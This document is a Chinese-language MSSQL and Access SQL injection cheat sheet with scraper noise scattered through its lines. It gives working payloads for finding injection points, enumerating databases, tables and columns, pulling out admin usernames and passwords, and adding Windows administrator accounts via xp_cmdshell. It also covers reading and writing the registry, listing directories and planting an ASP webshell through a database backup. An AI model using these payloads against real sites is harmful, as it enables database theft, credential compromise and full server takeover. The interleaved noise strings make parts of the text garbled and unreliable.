1.判断是否有注入 1 c T% d) w+ m8 @0 e# [+ d7 a+ c
;and 1=1
8 d, y. u) z7 G) [;and 1=2
- b. ~( ?, F! D7 a7 g4 I, d
. \( w2 g Y+ r% W q6 @' ]3 c2.初步判断是否是mssql
7 a' y) |, b! p4 w;and user>0 0 F1 Y- g) B8 W2 n
" i2 G" q0 e4 L& [. `3.判断数据库系统 : B0 J+ u5 A+ L" V% l
;and (select count(*) from sysobjects)>0 mssql & u( k# ?; h5 D# g4 z
;and (select count(*) from msysobjects)>0 access 6 U$ G* C, i7 n- a, m9 s
+ @7 o( v) U: P% p' d9 x% t: F
4.注入参数是字符
+ v; @2 l* ~" b4 r'and [查询条件] and ''='
_- `+ n( C0 ]5 B) a/ i# y7 ^) S+ h i
5.搜索时没过滤参数的 s' {! q- w1 ~+ L4 i8 ~
'and [查询条件] and '%25'=' 1 C' x1 J" y' m P1 i1 t+ k
0 i% I7 H. K" ^. t) ~6.猜数表名
: l; _5 P/ r, c3 O, w/ d;and (select Count(*) from [表名])>0
( t* g1 K. [/ @) ^$ e0 O
, j! }& }- U2 }$ \- w6 a7.猜字段 6 B8 X) f h# d9 \
;and (select Count(字段名) from 表名)>0 8 [: U. D/ ` k, V
' g3 c# H8 K5 g" b4 h8.猜字段中记录长度 2 U4 Q; j. y5 A+ l6 j' ?/ ]) D
;and (select top 1 len(字段名) from 表名)>0
$ n9 o9 V1 U/ J) g" b, l( H+ w' |, T& Q
9.(1)猜字段的ascii值(access) % x7 ~/ z' _* L
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
s7 S: Z5 o* R1 o
0 Y2 ~& {) L T" ]! Q S(2)猜字段的ascii值(mssql) 4 Z& R1 d* W3 [
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 6 x5 f5 f8 B( W4 [2 q& j" g( | |
* B) a- t3 ]) k) F: j! n4 T" [10.测试权限结构(mssql) # S' U7 e6 A- W* V$ r1 F
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- , M) ^" }, }3 b5 d, Q: O
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ( m# r4 ~: p, N$ H7 R
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
7 `7 Z) A# l2 x3 m/ g. C;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- . W) ?' a {- i) g. t w
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
+ m+ b: d5 b7 y2 y8 A/ c;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9 W& H ]3 { r3 m4 K/ U1 j8 M
;and 1=(select IS_MEMBER('db_owner'));-- & S" T9 E4 j: [/ _) U- ]$ O/ J
, {5 S I" [3 w! B( `6 h
11.添加mssql和系统的帐户
! D" y* u2 V: p( r5 q8 ~;exec master.dbo.sp_addlogin username;--
0 H9 d" d$ J1 K% K) x9 f$ j: d8 };exec master.dbo.sp_password null,username,password;-- - w5 }% X; U) b9 Y
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) [/ P0 \2 S/ o: r6 H2 g8 I% k;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 2 f9 y, L8 G* Y! Y
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ; m; ^6 Z; _' ?% H* O5 X4 t- t
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2 i+ s9 n5 C! [) ]3 V; B" o2 z
; ~3 a Z% M5 r4 ~3 @1 V7 b
12.(1)遍历目录
4 H. f; {, H2 J* g0 ?& z Y, N;create table dirs(paths varchar(100), id int)
7 L5 E+ |7 A" ^& X( j2 z$ Y3 N;insert dirs exec master.dbo.xp_dirtree 'c:\' - q2 @, {* q" w4 c6 P/ Q
;and (select top 1 paths from dirs)>0 % G% l! Y& u- T2 }5 w& L$ x- H/ {0 V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 6 y9 f" _+ R, V
, s: N9 ~1 j! v1 W" [) z) F
(2)遍历目录 . h! h4 ]- s) h: I! ?
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
1 A' q7 [4 D- P' d;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 F, q0 r) `: M5 ~7 d& r* G9 A
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
7 w7 w4 F& b8 e4 m. n;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
0 C, z' F. {& K3 s1 n;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
9 @+ E$ w& s: G2 Z
. x5 {( e' x/ l Y! n% N13.mssql中的存储过程 1 R! X! o: `" @. x+ V+ D
xp_regenumvalues 注册表根键, 子键 2 w6 Q4 e6 l0 ~6 l u
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 . S3 W. h& M& }# l; L
xp_regread 根键,子键,键值名
D1 ?2 v' l/ m4 y;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
$ _- J* L% f6 ~8 gxp_regwrite 根键,子键, 值名, 值类型, 值
6 E$ a0 g9 _% y值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
5 K5 Q& i4 X* e1 i/ t+ O5 q;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 , Y( p) ]3 E) U8 x
xp_regdeletevalue 根键,子键,值名
9 c! |. |& x- ?; x7 R+ P) jexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
# M6 [2 {# [0 s; j$ m) fxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
/ f1 ^/ V/ `: ^( n1 ^# l' A
/ E! N8 C3 V9 ]8 g: N- Q* s14.mssql的backup创建webshell
& N2 @0 B- B- ^7 d5 L! a0 `$ yuse model 1 q3 y' h8 o) ]+ ~; F# N9 q
create table cmd(str image); ( D; j3 x" u- h& }/ {; @6 d. y
insert into cmd(str) values ('<% Dim oScript %>'); 3 ?: o' r( w( C
backup database model to disk='c:\l.asp';
# U: D- ^; X, K$ e
! K, s7 X; i7 [15.mssql内置函数
7 I- [# {2 I# q5 ^; h$ s;and (select @@version)>0 获得Windows的版本号
, v+ z" A! r7 z/ X/ r;and user_name()='dbo' 判断当前系统的连接用户是不是sa
* Z7 Z* N8 ^" f9 O;and (select user_name())>0 爆当前系统的连接用户 / e |" v% T9 g. E; {) t5 }# G
;and (select db_name())>0 得到当前连接的数据库
, \; c7 E% V! T. x5 }9 S0 B; B/ P/ I
( j/ x& q1 m n% k8 C3 F% I0 ~( i1 h# O# R/ Y" ]- ]
- }& s1 W. |% T( e. S% cMSSQL手注暴库
1 ~! b+ S' r/ g* ?" Y* C E
% q3 P5 X0 B3 R1.暴出当前表名和列名' Y2 G: _% z [. {0 [5 h
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
3 T& }: {8 P/ b* p- p% l0 y
) z$ B/ \6 U$ a7 q1 @3 e第一.爆出所有数据库名
) k1 Q- s* [! J6 t0 Q9 M利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
; z# h5 s) r' s0 e/ E0 w- G第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。 ]3 k' A4 I$ p7 T) R
0 v# C) w' Q8 b: Zand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名9 ?* e2 L# g4 E. K8 a- O
[: Z- z2 F4 T& S7 ?5 Y7 a+ C9 o
( b0 V. R& W1 I/ \* N2 N3 M
第二.爆出指定库中的所有表名
7 A+ w4 y$ q5 X) M+ h得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
7 D+ r: a5 L7 O: o% m% V* H再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
6 ~1 i* g8 B6 T! b9 C' F/ x# b% N9 G. v
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
$ l6 P c" N, H m" Y1 j1 k& `( Gand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--+ i$ l+ n% [5 F, y# ?, B! B
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--9 P6 e0 C: K- `3 t% n. `
& R" B+ W0 @2 R4.爆出指定表中的所有列名8 ^5 w( g' o- E9 J9 o
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 6 J1 ]/ E: I# z: h) P% r
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
$ y# t3 ]2 s# w* C4 q2 Y! `
/ [, n; O% V- k. t3 A7 V+ z3 H, yand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
. [# S% M- W% \+ J* Z+ t1 J
. }: H0 [+ N) [再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
6 Y4 A1 e2 p7 \9 q: l依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。$ J% L! O! Z: Z: H- _9 \
7 V( Z0 j& h# r8 w; l& f# \- ^
5 N. j- a& B* g/ M
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
" \' b1 f% v$ b# Y+ y* f) s D9 {, F9 q6 z% F! @% |
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名0 J( [6 n) s2 i+ r
' R. a, O$ Q% \! L9 R
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- # L" `. G, t# L* H
: _) i# L1 V9 o
5 T7 E/ F* }$ F+ O8 R! l
; {; J8 j+ O0 ` o5.读取指定表中的数据
) I- k2 I4 }* j" u& P# w& n' v# O( o( d! c2 u7 T, j
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
$ @ V2 i+ `+ B, l% d& P- g
3 ^% r# ]3 y& ~and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--9 }2 a; j% W) |
( @. w. x/ n9 A
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码; Z5 w7 A9 T! q6 o: `) A
' p2 K# x" W+ y7 |/ [ h
! L( Z u& V4 C/ g5 O& {
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)! U2 L% J6 e! A% [2 l, Q5 Y3 n. `
9 a# U [+ s6 Z1 d6 O
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)6 b: h: `7 }0 x- k8 ^6 i" Z
' ]) G0 K% _8 Z2 C$ o0 y0 s3 N5 Qand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
7 V+ P: Y' {. d, s3 @' g( e
3 h. _% Z r# s2 h6 M知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。/ I8 ?6 V$ [9 @ r2 K$ `# y) Q& _5 r
|